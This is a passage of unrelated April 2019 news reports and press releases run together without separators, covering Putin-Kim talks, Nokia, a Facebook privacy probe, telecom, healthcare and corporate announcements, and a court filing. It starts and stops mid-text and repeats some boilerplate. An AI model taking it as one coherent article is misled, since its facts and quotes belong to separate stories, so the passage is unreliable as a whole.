fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. * Kim says peace, security depend on U.S. attitude * Trump thanks Putin, says progress being made * Putin says North Korea needs security guarantees * First Putin-Kim talks yields no breakthrough * Putin accepts Kim's invitation to visit North (Adds Trump remarks) By Joyce Lee and Jeff Mason SEOUL/WASHINGTON, April 26 (Reuters) - North Korean leader Kim Jong Un told Russian President Vladimir Putin that peace and security on the Korean peninsula depended on the United States, warning that a state of hostility could easily return, North Korean media said on Friday. Kim's remarks during talks with Putin on Thursday appeared aimed at pushing Washington to be more flexible on North Korean demands for an easing of international sanctions. U.S. President Donald Trump, who ended a second summit with Kim in February without a deal for North Korea to give up its nuclear weapons, seemed unperturbed, saying a lot of progress was being made towards an agreement and welcoming Putin's support. Putin said after holding his first face-to-face talks with Kim in the Russian Pacific port of Vladivostok on Thursday that U.S. security guarantees would probably not be enough to persuade Pyongyang to give up its nuclear programme. {nL5N2278EY] He said he believed any U.S. guarantees might need to be supported by the other nations involved in previous six-way talks on the nuclear issue, which included Russia, China, Japan and South Korea as well as the United States and North Korea. "I think we're doing very well with North Korea. A lot of progress is being made," Trump told reporters at the White House. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there's a lot of excitement for getting a deal done with North Korea." The Trump-Kim summit in Hanoi in February collapsed without progress on a U.S. demand that North Korea give up its nuclear weapons and North Korean demands for easing of sanctions. Kim has said he would wait until the end of the year for the United States to be more flexible. Story continues "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks," North Korea's official KCNA news agency quoted Kim as saying. The Democratic People's Republic of Korea (DPRK) is North Korea's official name. "The DPRK will gird itself for every possible situation." KCNA quoted Kim as saying. William Hagerty, the U.S. ambassador to Japan, told a Washington think-tank on Thursday that Kims contacts with both Russia and China were part of an effort to seek relief from sanctions and it was important the international community continue to enforce these. "The fact you see Kim Jong Un meeting with Vladimir Putin underscores the fact that the sanctions are working and the sanctions are putting extreme economic pressure on the North Korean regime," Hagerty said. "What we see is an outreach to try to find a way to deal with it. There is a much simpler way to deal with it and that is to denuclearise," he said. SECURITY GUARANTEES The first face-to-face talks between Putin and Kim, held on an island off the Russian Pacific city, did not appear to yield any major breakthrough. The two discussed ways to promote strategic communication and tactical collaboration in the course of ensuring peace and security on the Korean peninsula and beyond, KCNA said. Putin said a deal on North Korea's nuclear programme was possible by moving step by step to build trust. Russia was for years a participant in the six-party talks, which have not been held since 2009. "They only need guarantees about their security. That's it. All of us together need to think about this," Putin told reporters after talks with Kim. Such guarantees would have to be international, legally binding, and vouch for North Korea's sovereignty, Putin said. Russia and North Korea agreed to increase cooperation and Putin accepted an invitation by Kim to visit North Korea, KCNA said. No date was announced. "North Korea seems to be trying to expand its negotiating position with the U.S.," said South Korea's ambassador to the United States, Cho Yoon-je, according to the Yonhap news agency. "The U.S. continues to send a message to North Korea through channels at every level that it is open to dialogue ... The expectation seems to be that the North may respond once Chairman Kim Jong Un's diplomatic schedule is completed." (Reporting by Joyce Lee; Additional reporting by David Brunnstrom and Jeff Mason in WASHINGTON, Hyonhee Shin in SEOUL and Maria Vasilyeva in VLADIVOSTOK Editing by Jack Kim, Robert Birsel and James Dalgleish) Adam Shapiro, co-anchor of Yahoo Finances On the Move, brings you the top headlines for Friday, April 26, 2019. FILE - Saudi Arabias Interior Ministry said Tuesday, April 23, 2019, that 37 Saudi citizens have been beheaded in a mass execution that took place across various regions of the country. Saudi King Salman ratified the executions for terrorism-related crimes by royal decree. (AP Photo/Cliff Owen, File) Saudi beheadings and crucifixion The United Nations is condemning the shocking mass execution carried out earlier this week in Saudi Arabia. Thirty-seven people accused of terror-related crimes were beheaded, and one was crucified as a warning to others. But some of the condemned were tortured before their confessions and insisted they were innocent. Among the dead are Mujtaba al-Sweikat, who was 17 years old when he was arrested in 2012, just before boarding a plane for the United States. He planned to study at Western Michigan University. His family says Sweikat was repeatedly beaten and held in solitary confinement up to 90 days at a time before he signed a false confession. FILE - In this March 16, 2016, file photo, American student Otto Warmbier, center, is escorted at the Supreme Court in Pyongyang, North Korea. North Korea on Friday, Nov. 16, 2018, said it is expelling American Bruce Byron Lowrance after he slipped unlawfully into the police state known for its anti-U.S. fervor. (AP Photo/Jon Chol Jin, File) North Koreas $2,000,000 bill President Trump says no money was paid to North Korea to obtain the release of Otto Warmbier. He was the young man from Ohio who died from severe beatings while he was detained by North Korea. The Washington Post reports that North Korean submitted a $2 million bill for Warmbier's medical care. The report says the medical bill was sent to the US Treasury, but it's not clear if it was ever paid. The president tweeted "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." FILE - In this Oct. 11, 1991 file photo University of Oklahoma law professor Anita Hill testifies before the Senate Judiciary Committee on the nomination of Clarence Thomas to the Supreme Court on Capitol Hill in Washington. Hill testified that she was "embarrassed and humiliated" by unwanted, sexually explicit comments made by Thomas when she worked for him a decade ago. (AP Photo, File) Joe Biden apologizes to Anita Hill Anita Hill says a phone call from former Vice President Joe Biden left her deeply unsatisfied. Biden announced his campaign for president Wednesday and called Hill to express his regret for events that took place in 1991 when he was a Senator chairing the Judiciary Committee. Hill testified before the committee during Supreme Court Justice Clarence Thomas's confirmation hearing. She accused Thomas of sexual harassment, but was grilled by the all-white, all-male committee about her accusations. Hill told The New York Times, I cannot be satisfied by simply saying, Im sorry for what happened to you." Story continues Pepsico product Lays potato chips on display at a grocery store in Palo Alto, Calif., Wednesday, Oct. 6, 2010. (AP Photo/Paul Sakuma) Trademarked potatoes PepsiCo, which owns Lays potato chips, is suing four farmers in India, accusing them of violating trademark law. PepsiCo says the farmers are growing a type of potato used to make Lays chips, which violates agreements the company has with thousands of other farmers to grow it. CNN reports PepsiCo's Indian subsidiary, which filed the lawsuit, is pleading its case today in court despite protests from groups defending the farmers. FILE PHOTO: A Nokia logo is seen at the company's headquarters in Espoo, Finland, May 5, 2017. REUTERS/Ints Kalnins By Tarmo Virki and Anne Kauranen HELSINKI (Reuters) - Finland's Nokia plunged to a surprise quarterly loss after it failed to supply 5G telecoms equipment in time, and said the security dispute surrounding rival Huawei was creating pressure to invest as customers reassess their suppliers. Shares fell 9 percent to 4.68 euros on the news on Thursday, their lowest level in six months. Nokia said it would be under significant pressure to deliver in the second half after a slow start to the year in supplying next-generation mobile gear. Nokia counts Sweden's Ericsson and China's Huawei as its main rivals, and some analysts say the Finnish company may benefit from challenges faced by Huawei after Washington alleged its equipment could be used by Beijing for spying - charges Huawei denies. Ericsson last week posted January-March quarter profit that beat forecasts, spurring the Swedish firm to lift its outlook for the global telecom networks market. But Nokia said on Thursday: "Some customers are reassessing their vendors in light of security concerns, creating near-term pressure to invest in order to secure long-term benefits." Nokia said a failure to book about 200 million euros ($222 million) of net sales related to 5G in North America weighed on its first-quarter results. It expects to recognize the amount during the full year. The company's core networks business generated a loss of 254 million euros during the quarter, compared with a gain of 46 million in the year-ago quarter, as its investments into 5G are yet to generate profits. DIFFERENT SPEED Investors and analysts said different speeds of rollout of 5G product offering, and a different set of customers could explain why Nokia has had a rockier start to 2019 than Ericsson. "Huawei's unclear situation has turned negative for Nokia in the short term, even though it should be more of an opportunity in the longer term," said analyst Mikael Rautanen of equity research firm Inderes, referring to operators postponing their investment decisions. Story continues "It looks like Nokia has not upgraded its product offering fully to 5G yet. They explain it with external reasons like standards, but there have to be also internal factors," he said. Nokia, which signaled in January that it would have a particularly weak first quarter, made an operating loss (non-IFRS) of 59 million euros, compared with a profit of 239 million euros in the year-ago quarter. That compared with analysts' profit expectations ranging from 175 million to 457 million euros profit in a Reuters poll. The telecom networks industry has faced slowing demand since 4G network sales peaked in the middle of the decade, and is betting on a new cycle of network upgrades to 5G. Nokia -- which said it had won 36 commercial 5G deals so far -- repeated its January forecasts for a "flattish" market in 2019, and for its 2019 earnings per share of 0.25-0.29 euros, and 2020 EPS of 0.37-0.42 euros. (Reporting by Anne Kauranen, Tarmo Virki in Helsinki; Writing by Michael Kahn; editing by Emelia Sithole-Matarise and Georgina Prodhan) Letitia James New York Attorney General Letitia James. Photo: David Handschuh/NYLJ New York Attorney General Letitia James has launched an investigation into Facebook after the company said last week that it may have unintentionally collected the email contacts of up to 1.5 million people without their knowledge. The mishap may have resulted in the contact information for hundreds of millions of individuals to be obtained improperly by the social media giant, James said. Facebooks announcement that it harvested 1.5 million users email address books, potentially gaining access to contact information for hundreds of millions of individual consumers without their knowledge, is the latest demonstration that Facebook does not take seriously its role in protecting our personal information, James said. The company responded to the investigation in a statement Thursday afternoon, in which it said it was in contact with attorneys from James office on the matter. We're in touch with the New York state attorney generals office and are responding to their questions on this matter, Facebook said in a statement. The information was allegedly used to improve targeted advertising for users, connect them to other individuals, and build Facebooks web of users, according to Business Insider, which first reported the practice last week. Those contacts were apparently collected from people who chose to give Facebook the password to their email account when signing up for the social media service for the first time. Facebook used the method as a way to verify that the user actually owned that email address, the company said. It stopped doing so last month. James noted in her announcement that its not the first time the social media company has admitted to problems involving the data of its users. Earlier this month, for example, certain trend data on more than 500 million Facebook users was found to have been posted publicly by third-party application developers, according to cybersecurity firm UpGuard. It is time Facebook is held accountable for how it handles consumers' personal information, James said. Facebook has repeatedly demonstrated a lack of respect for consumers information while at the same time profiting from mining that data. The company has been embroiled in repeated scandals in recent years involving the information and data of its users. Perhaps most notably was the revelation that British political consulting firm Cambridge Analytica had siphoned the personal information of millions of users from Facebook to use for campaign purposes, including the election of President Donald Trump. Federal prosecutors in Brooklyn, meanwhile, are reportedly conducting a criminal investigation into some of the financial deals Facebook has made with companies to share the personal information of its users, according to The New York Times. No charges have been levied against officials at the company related to that probe as of yet. The agreement extends their current active mobile network sharing (RAN Sharing) from towns between 1,000 and 25,000 inhabitants to municipalities with fewer than 175,000. The mobile network sharing agreement includes 2G, 3G and 4G technologies and will be extendable to 5G in the future. Regarding fixed networks, both companies agree to increase their fiber footprint through new wholesale access and co-investment agreements. Orange and Vodafone have reached an agreement to strengthen their existing mobile and fixed network partnership in Spain. Aiming at promoting a sustainable investment model, this agreement will result in a faster and more efficient deployment of NGA networks (including new technologies, such as 5G) over a wider geographic area, delivering significant benefits to their respective business and residential customers. Mobile broadband network agreement The new agreement expands the one signed by both companies in 2006 and renewed in 2016. The new conditions will bring network sharing from towns between 1,000 and 25,000 inhabitants to municipalities with fewer than 175,000. The agreement includes active sharing for 2G, 3G and 4G technologies of both companies. The expected number of sites shared will amount to 14.800. The active sharing initiative will be extendable to the future 5G rollout. Thus, more customers will benefit from 5Gs new features, such as low latency and high speed; achieving also a more efficient deployment. The agreement would still allow both companies to own independent strategies in large cities, where efficiencies from shared deployment are limited, and to have their own services and Core functionality in 100% of their networks as well as separate spectrum management and network performance. Fixed broadband network agreement The agreement also expands previous fibre-to-the-home (FTTH) co-investment agreements to new geographic areas through new wholesale access or co-investment agreements. This new wholesale agreement will enable Vodafone to offer its fibre and convergent services to 1 million additional households over Oranges network. Furthermore, both companies will have access to the future fixed broadband deployments of the other party Story continues Laurent Paillassot, CEO of Orange Spain said, "we have always promoted infrastructure sharing as a key lever to reach more customers faster and more efficiently both in fixed and mobile networks. The extension of the agreement with Vodafone allows Orange to further extend mobile coverage in Spain, and accelerate its future deployment of 5G at more efficient costs". About Orange Orange is one of the worlds leading telecommunications operators with sales of 41 billion euros in 2018 and 151,000 employees worldwide at 31 December 2018, including 92,000 employees in France. The Group has a total customer base of 264 million customers worldwide at 31 December 2018, including 204 million mobile customers and 20 million fixed broadband customers. The Group is present in 27 countries. Orange is also a leading provider of global IT and telecommunication services to multinational companies, under the brand Orange Business Services. In March 2015, the Group presented its new strategic plan Essentials2020 which places customer experience at the heart of its strategy with the aim of allowing them to benefit fully from the digital universe and the power of its new generation networks. Orange is listed on Euronext Paris (symbol ORA) and on the New York Stock Exchange (symbol ORAN). For more information on the internet and on your mobile: www.orange.com , www.orange-business.com or to follow us on Twitter: @orangegrouppr. Orange and any other Orange product or service names included in this material are trademarks of Orange or Orange Brand Services Limited. Contacts presse: 01 44 44 93 93 Tom Wright; tom.wright@orange.com About Orange Orange is one of the worlds leading telecommunications operators with sales of 41 billion euros in 2018 and 151,000 employees worldwide at 31 December 2018, including 92,000 employees in France. The Group has a total customer base of 264 million customers worldwide at 31 December 2018, including 204 million mobile customers and 20 million fixed broadband customers. The Group is present in 27 countries. Orange is also a leading provider of global IT and telecommunication services to multinational companies, under the brand Orange Business Services. In March 2015, the Group presented its new strategic plan Essentials2020 which places customer experience at the heart of its strategy with the aim of allowing them to benefit fully from the digital universe and the power of its new generation networks. Orange is listed on Euronext Paris (symbol ORA) and on the New York Stock Exchange (symbol ORAN). For more information on the internet and on your mobile: www.orange.com , www.orange-business.com or to follow us on Twitter: @orangegrouppr. Orange and any other Orange product or service names included in this material are trademarks of Orange or Orange Brand Services Limited. Contacts presse: 01 44 44 93 93 Tom Wright; tom.wright@orange.com Attachment Former Texas Rep. Beto O'Rourke dons a Nevada Wolf Pack hat as he talks to an over-flowing crowd that jammed a coffee shop on the edge of the University of Nevada, Reno campus on Thursday, April 25, 2019. He brought his Democratic presidential campaign to the early caucus state for the second time this year. He told reporters afterward he's glad former Vice President Joe Biden has joined what he says is already an extraordinary field of candidates. (AP Photo/By Scott Sonner) RENO, Nev. (AP) Former Texas Congressman Beto O'Rourke said Thursday he's willing to consider a moratorium on new leases to drill for oil and gas on federal lands as a way to help combat climate change. The Democratic presidential hopeful told reporters while campaigning in Nevada on Thursday the nation needs to rethink how it protects its public lands and "keep them from being diminished in size as has happened under" the Trump administration. O'Rourke said that concern, combined with the need to reduce total greenhouse emissions, makes it especially important that U.S. taxpayers don't allow oil and gas companies "to contribute more to the problem." "So, rethinking the leasing of public lands and perhaps creating a moratorium on any future leases and reviewing all those that are in existence is in order," he told reporters after a speech to the University of Nevada Young Democrats at a packed coffee shop on the edge of the Reno campus. "If we continue to add to the problem and do not invest in the solution, which is going to be renewable energy, then we will have squandered this limited time that is left to us," he said. O'Rourke said federal procurement policies are one of the biggest tools the government has to bring change on many fronts. "What we buy and from whom we buy, and in what form the energy is to whom we lease and to whom we allow to use federal and national lands we should be the biggest player in the change that we know that we need to produce," he continued. O'Rourke campaigned in Las Vegas last month on his first visit to the early caucus state. But it was the first time he'd appeared in northern Nevada. Later Thursday, he spoke to a crowd of about 200 at a restaurant in Carson City, including climate change as one of his themes along with immigration, health care and the economy. O'Rourke said he's glad former Vice President Joe Biden formally announced Thursday that he too is seeking the 2020 Democratic presidential nomination. Story continues "He is joining an extraordinary field of candidates with amazing diversity and backgrounds and experience and life stories," he told reporters in Reno. "I think he brings some extraordinary experience in public service to this and glad he's in the race. I think it's good for our party, it's good for Democrats, good for America so glad he's in." O'Rourke said it's up to voters, not to him, to decide whether Biden should be considered the front-runner in the race or whether he's too much of a centrist candidate. The former El Paso city councilman planned events in southern Nevada on Friday with UNLV Young Democrats in Las Vegas and at a brewery in neighboring Henderson. Nevada's caucuses next February are third in the presidential selection process following New Hampshire and Iowa. GUILDFORD, ENGLAND / ACCESSWIRE / April 26, 2019 / Silverbear, the UK's membership CRM specialist, and Clear Direct Debit, a BACS approved bureau and training provider, have joined forces in a move that is expected to radically transform the way Direct Debits are collected by membership, not-for-profit and fundraising-led organisations. Currently, organisations that collect payments from members using manual or semi-manual methods may be exposed to human error, data security issues and overly dependent on only a handful of individuals to process payments. Legacy Direct Debit systems require manual files to be stored locally and are often held on laptops or emailed internally, which can lead to bank details being taken offsite and exposed to risk. The partnership will enable customers of Silverbear's flagship product, 'Silverbear Membership', which include Royal College of Nurses, Royal Academy of Dance and Royal Horticultural Society, to collect payments from members using a fully automated and secure cloud-based platform without manual intervention. The strategic venture follows the recent acquisition of both companies by ClearCourse Partnership LLP, a business formed of innovative technology companies that provide membership software to groups, organisations and small businesses. Gavin Lawrence, Managing Director of Clear Direct Debit, comments: "Payment processing in many organisations is still largely based on the manual movement of local data, such as exporting and importing files containing sensitive information, the consequences of which can be significant. We've seen one non-profit organisation collect a hundred times the subscription fee of thousands of its members by mistake simply because of a file formatting issue. Whilst errors of this magnitude aren't common, other smaller mistakes are. Our partnership with Silverbear will help make organisations become more resilient and help them address data security issues in a more robust and meaningful way." Story continues General Data Protection Regulation, PSD2 (the revised Payment Service Directive) and ever-changing Direct Debit rules pose challenges for all organisations that process payments. Those failing to address them risk breaking the law and leaving their customers open to data breaches. Carl Grieves, Chief Executive at Silverbear, adds: "Whether it's unsecured data, file formatting issues or human error, Direct Debit mistakes can prove costly at an economic and reputational level. Through our partnership with Clear Direct Debit, and as a direct result of the synergies presented following both companies' acquisition by ClearCourse Partnership, we've created a secure Direct Debit automation service that can be managed through a fully integrated approach with the click of a button. This is a huge step forward for Silverbear's growing customer base and we're proud to be pioneering this new approach." Silverbear and Clear Direct Debit will officially unveil the latest addition to the Silverbear Membership platform at MembershipExcellence 2019, the UK's largest membership-focused national conference for membership organisations and associations, which takes place at Novotel London West on Thursday 2 May. For more information on Silverbear and Clear Direct Debit visit www.silverbear.com and www.cleardirectdebit.co.uk respectively. For more information on ClearCourse Partnership LLP visit www.clearcoursellp.com. Notes to editors Media caption 1: Silverbear's CEO, Carl Grieves, says the partnership will transform the way Direct Debits are collected by membership-based organisations Media caption 1: Gavin Lawrence, Managing Director at Clear Direct Debit, which has joined forces with Silverbear Media enquiries For more information please contact Stuart Pearson at The PR Farm on 01483 343636 / 07812 086211 or at stuart@theprfarm.com. About Silverbear Silverbear's expertise lies in integrating the channels and technology, such as Microsoft Dynamics Social Engagement and Microsoft Dynamics Flow, which enable membership organisations to effectively communicate with their members. Built on Microsoft Dynamics 365, Silverbear's solutions enable its clients to enjoy an open, secure, familiar and scalable IT platform that can integrate into pretty much all areas of a business operation; now and in the future. They also facilitate greater membership interaction, which leads to greater membership insight. Silverbear is now a thriving, award-winning solution provider, which is 100% focused on meeting the challenges of the membership and trade association industries. About Clear Direct Debit Clear Direct Debit is a Bacs accredited training provider, Bacs approved bureau and an independent Bacs consultancy. It is the only Direct Debit collection solution in the UK to start as a Bacs accredited training provider and has helped thousands of individuals and organisations from charities and associations to SMEs and multinational corporates to save money, avoid Direct Debit payment related issues and become compliant with the Bacs Direct Debit Scheme Rules. About Clear Course Partnership Clear Course Partnership is a partnership of innovative technology companies providing membership software to groups, organisations and small businesses. Its companies help their customers to manage their members and clients, administer their business workflow and to automate their payment processes seamlessly. Backed by Aquiline Capital Partners, a New York and London-based private equity firm, its experienced team is focused on creating an environment for talented entrepreneurs and their businesses to thrive with: access to capital funding, accelerating growth through sales, marketing and other expansion initiatives; considerable expertise in software and payments; retention of existing leadership teams; best practice collaboration across its partner platform. SOURCE: Silverbear View source version on accesswire.com: https://www.accesswire.com/543106/Partnership-Set-To-Revolutionise-Direct-Debit-Payments-For-Membership-Organisations By Yilei Sun and Tom Daly BEIJING, April 26 (Reuters) - China's COSCO SHIPPING Ports Ltd is set to sign a $3 billion deal with Peru's Volcan Compania Minera to invest in the port of Chancay on the South American country's Pacific coast next month, Volcan chairman said on Friday. COSCO SHIPPING Chairman Xu Lirong will attend a signing ceremony for the deal mid-May at the Presidential Palace in Lima, Volcan Chairman Jose Picasso Salinas told Reuters on the sidelines of China's Belt and Road Forum in Beijing. The deal will be part of a $10 billion upcoming Chinese investments in Peru. COSCO SHIPPING Ports is a part of Chinese state-owned shipping giant COSCO SHIPPING. Volcan Compania Minera is a metals miner that also holds interests in hydropower and logistics. China is Peru's top trade partner and imports most of the mineral resources the South American country produces, including copper. However, Chinese companies have increasingly expressed interest in investing in sectors beyond mining. Reuters reported earlier this week that Peru will sign a memorandum of understanding to join China's Belt and Road Infrastructure initiative. COSCO SHIPPING has been actively investing in ports and terminals while developing its fleets, and the investment will improve the global terminal network of the company, Xu said earlier this year. MEGAPORT The first phase of the port project, which is located 72 kilometres (44.74 miles) north of Lima, will cost about $1.3 billion. COSCO SHIPPING will operate the port and plans to stump up 60 percent of the investment, Picasso said, adding that the company had agreed earlier this year to take a 60 percent stake in Terminales Portuarios Chancay, a joint venture between the two companies. Construction of the $3 billion port will start at the end of this year and it will be launched by end-2021, he added. There will be two terminals - one for liquids and grains, and another for container cargo, Picasso said. The first-phase handling capacity will be over 1 million TEU (twenty-foot equivalent unit), while the second phase would see Chancay surpass Callao as Peru's biggest port, he added. Picasso did not provide a timeframe or handling capacity for the second phase. (Reporting by Yilei Sun and Tom Daly in Beijing, Editing by Sherry Jacob-Phillips) April 25, 2019 Key technology of the multi-component solution is the VitalSky personalized light therapy system, now with CE Mark as a medical device VitalSky improves sleep quality in intensive care patients to help reduce delirium Amsterdam, The Netherlands Royal Philips (NYSE: PHG, AEX: PHIA), a global leader in health technology today introduced VitalMinds, an integrated multi-component solution focused on supporting hospitals with a non-pharmacological approach to reducing delirium. A unique, key component of the approach is VitalSky, a personalized light therapy system, designed for clinical use in the intensive care unit (ICU). The innovative system recently received CE Mark and is now commercially available in Germany, Austria, Switzerland, Finland and Sweden, with market launches planned in other European countries over the next two years. Delirium challenge in Intensive Care Medicine Delirium, a serious disturbance in mental abilities that results in confused thinking and reduced awareness of the environment, occurs in 30% to 80% of all ICU patients, making it the most common form of cognitive dysfunction in intensive care medicine [1]. The occurrence of this cerebral impairment during intensive care treatment has far-reaching consequences, doubling the mortality risk of patients in ICUs and even tripling mortality in the first six months following discharge from the hospital [1,2]. In view of these statistics, guidelines recommend systematic delirium screening for all patients in ICUs and the implementation of non-pharmacological interventions to prevent delirium, such as mobilizing patients during the day and introducing measures to promote sleep at night [3]. With VitalMinds, we have developed a new concept that combines light and sound management, circadian-effective light therapy, staff training and consulting services, to help hospitals reduce delirium and improve patient recovery in the ICU, said Felix Baader, Business Leader, Monitoring Analytics at Philips. This integrated approach is based on international ICU guidelines and supports hospitals in achieving the quadruple aim to improve patient and staff experience, deliver better health outcomes, and drive lower costs in intensive care medicine. Story continues VitalSky for Personalized Light Therapy The VitalSky light therapy system provides a circadian-effective program to support the sleep-wake rhythm of patients. This program simulates the natural progression of daylight using a spectrum of glare-free white light provided by a large luminous LED ceiling. The light conditions can be personalized to the needs of the individual patient. The system also provides premium-quality workplace lighting to support favorable treatment conditions. Advanced features include the additional option of playing calming nature scenes in full-color, soft-focus video, and the future enablement of cognitive training is also planned. The various programs and settings can be selected and adjusted quickly and easily via a portable user interface. In the framework of a multi-component approach at Marien Hospital in Wesel, Germany, we aim to prevent delirium in the ICU. For this purpose, the light therapy technology of the VitalSky system is an essential environmental element which will help us to support the circadian rhythm of patients, said Dr. Marc Achilles, Chief Physician of anesthesiology and intensive care medicine, Marien Hospital. We are proud to be the first hospital worldwide where this system is installed. Improved Patient Environment Supports the Reduction of Delirium Recent results from the VITALITY study of the Charite University Hospital in Berlin demonstrate the important role of an improved patient environment, including circadian-effective light therapy for the recovery process and the prevention of delirium in the ICU. The preliminary results of the VITALITY study show a statistically significant reduction of 39% in the incidence of delirium for patients treated in modified ICU rooms compared to patients treated in standard rooms [4]. More information on the VITALITY study results is available here . For further information on how Philips is supporting delirium prevention, visit VitalMinds .* [1]] Ouimet S. et al., Intensive Care Med, 2007, 33(1): 66-73 [2] Ely E.W. et al., JAMA, 2004, 291(14): 1753-62 [3] S3 guideline for the management of delirium, analgesia and sedation in intensive care medicine (DAS guideline 2015), http://www.awmf.org/leitlinien/detail/ll/001-012.html [4] Luetz A. et al., Intensive Care Medicine Experimental, 2018, 6 (Suppl 2):40 *VitalMinds and VitalSky are not available for sale outside of the European market. For further information, please contact: Kathy OReilly Philips Group Press Office Mobile: +1 978-221-8919 E-mail: kathy.oreilly@philips.com Anke Ellingen Philips Germany Mobile: +49 1522 2814645 Email: Anke.Ellingen@Philips.com About Royal Philips Royal Philips (NYSE: PHG, AEX: PHIA) is a leading health technology company focused on improving people's health and enabling better outcomes across the health continuum from healthy living and prevention, to diagnosis, treatment and home care. Philips leverages advanced technology and deep clinical and consumer insights to deliver integrated solutions. Headquartered in the Netherlands, the company is a leader in diagnostic imaging, image-guided therapy, patient monitoring and health informatics, as well as in consumer health and home care. Philips generated 2018 sales of EUR 18.1 billion and employs approximately 77,000 employees with sales and services in more than 100 countries. News about Philips can be found at www.philips.com/newscenter . Attachments WILMERDING, Pa., April 25, 2019 (GLOBE NEWSWIRE) -- Wabtec Corporation (WAB) today announced Rafael Santana will become president and CEO of the company, effective July 1, 2019. Santana, who will also become a Wabtec board member, will succeed Ray Betler, who will retire as a Wabtec executive and board member. Santana, 47, joined Wabtec earlier this year as president and CEO of the companys Freight segment following the merger of Wabtec and GE Transportation, where he served as president and CEO of the General Electric unit. Wabtec Executive Chairman Al Neupaver said: This transition comes at a time of strength at Wabtec given our diverse portfolio, excellent management team, and strong backlog and balance sheet. The selection of Rafael to succeed Ray is the culmination of a thorough CEO succession planning process that evaluated both internal and external candidates. Rafael is the right leader for this role bringing to Wabtec a passion for operational excellence and technology, and a strong track record of growth and performance. A native of Brazil, Santana brings roughly 25 years of commercial, product management and executive leadership experience to this post, including more than 10 years in the transportation industry. He has a proven track record of transforming businesses, while delivering top- and bottom-line growth. While leading GE Transportation, he significantly expanded the companys regional footprint, and built strong overhaul and modernization capabilities and backlog through multi-year programs. Prior to that role, he was president & CEO of GE in Latin America, where he helped transform the market into one of GEs largest and fastest-growing regions. A respected global and business executive, Santana also served as president and CEO of the Turbomachinery Solutions Business of GE Oil & Gas, where he drove significant margin improvement and growth in a contracting marketplace. Santana has a degree in engineering from the Universidade Federal de Minas Gerais in Brazil and will be based at Wabtecs new headquarters in Pittsburgh, starting this fall. Story continues A Pittsburgh native, Betler began his career in 1979 as a design engineer with the former Westinghouse Transportation Division. In 1994, he was named president of the unit, which later became ADtranz and now Bombardier Transportation. He joined Wabtec in 2008 and was named president and CEO in 2014. Neupaver said: Rays leadership over the last 11 years at Wabtec has been extraordinary. Since joining the company, he has been an integral part of Wabtecs growth story increasing revenues five-fold, from $1.5 billion in 2008 to more than $8 billion in 2019. Ray also has been instrumental in reshaping our global footprint, strengthening our technology leadership position, and diversifying our portfolio through the acquisition of Faiveley Transport and merger with GE Transportation. The board is confident that Wabtec investors, customers and employees will benefit from these achievements for years to come. We wish Ray all the best in his retirement. Betler said: After 40 years in the transportation industry and a career that started with Westinghouse Transportation and culminated with Wabtec, the time is right to transition leadership of this great company to Rafael, who will build on our success and ensure a strong future for the new Wabtec. Throughout my career, I have been humbled by the commitment and hard work of our people and their passion to create a purpose-driven company. Together, we have raised the bar on safety, quality, talent and value. Santana added: I am deeply honored that the board has selected me to succeed Ray as Wabtecs next president and CEO, and to build on this companys solid foundation of growth. Wabtec has a rich history of meeting the needs and expectations of our investors, customers and employees. Since merging GE Transportation and Wabtec, we have been hard at work ensuring we hit our operational, financial and synergy commitments. I am committed to delivering on these efforts. Based on our first quarter results, we are off to a solid start and excited about our future. About Wabtec Corporation Wabtec Corporation is a leading global provider of equipment, systems, digital solutions and value-added services for freight and transit rail. Drawing on nearly four centuries of collective experience across Wabtec, GE Transportation and Faiveley Transport, the company has unmatched digital expertise, technological innovation, and world-class manufacturing and services, enabling the digital-rail-and-transit ecosystems. Wabtec is focused on performance that drives progress, creating transportation solutions that move and improve the world. The freight portfolio features a comprehensive line of locomotives, software applications and a broad selection of mission-critical controls systems, including Positive Train Control (PTC). The transit portfolio provides highly-engineered systems and services to virtually every major rail transit system around the world, supplying an integrated series of components for buses and all train-related market segments that deliver safety, efficiency and passenger comfort. Along with its industry-leading portfolio of products and solutions for the rail and transit industries, Wabtec is a leader in mining, marine and industrial solutions. Wabtec has approximately 27,000 employees in facilities throughout the world. Visit the companys new website at: www.WabtecCorp.com . Wabtec Media Contact Deia Campanelli / Deia.Campanelli@Wabtec.com / 773-297-0482 Reed Smith offices in Washington, D.C. Photo: Diego M. Radzinschi/ ALM The Reed Smith lawyers defending a Russian company indicted in the special counsel investigation are pushing to have U.S. Attorney General William Barr and Robert Mueller III held in contempt over the release of a redacted version of the special counsels report last week. Lawyers for Concord Management and Consulting asked U.S. District Judge Dabney Friedrich of the District of Columbia to order the government to show cause as to why Barr and Mueller shouldnt be held in contempt for violating a local criminal rule. Reed Smith argued in its Thursday filing that the release of the 448-page report interfered with Concords right to a fair trial by releasing prohibited information and opinions regarding the guilt of the accused. The practical effect of the broadside by AG Barr and SC Mueller on Concord was to advise the world (including potential jurors) that the allegations in the indictment are true and that the defendants in this case were operating as part of a Russian-government led interference campaign expressly linked to the allegations in United States v. Netyksho, Reed Smith partner Eric Dubelier said in the filing. This despite the fact that the indictment contains no such allegation. Moreover, the statements of AG Barr and the report authored by SC Mueller are devoid of the demonstrably provable fact that of the nearly 4 million documents produced in discovery to date there is not a single document to indicate that the defendants were aware of the Federal Election Campaign Act or the Foreign Agents Registration Act, Dubelier added. The filing notes that Reed Smith partner Katherine Seikaly also requested a federal prosecutor handling the case in March to disclose any exculpatory material. With respect to your email dated March 12, 2019, the government is not aware of any exculpatory evidence, Jonathan Kravis, an assistant U.S. attorney in Washington, D.C., wrote back, according to the filing. As Concord has noted in its filings, including its motion to dismiss for failure to state an offense under 18 USC 371, the absence of certain information from the target accounts (such as information reflecting an awareness of the requirements of the Federal Election Campaign Act or the Foreign Agents Registration Act) could be viewed as exculpatory. For weeks, the two sides have quibbled in court papers and proceedings over how to handle voluminous amounts of sensitive discovery in the case. Concord is fighting charges that it participated in a scheme to interfere with the 2016 U.S. election. Concord was the only one among a group of Russian nationals and companies indicted in July 2018 to answer to the charges brought by the special counsels office. The U.S. Attorneys Office in Washington, D.C., is now handling the case. The Justice Department did not immediately return requests for 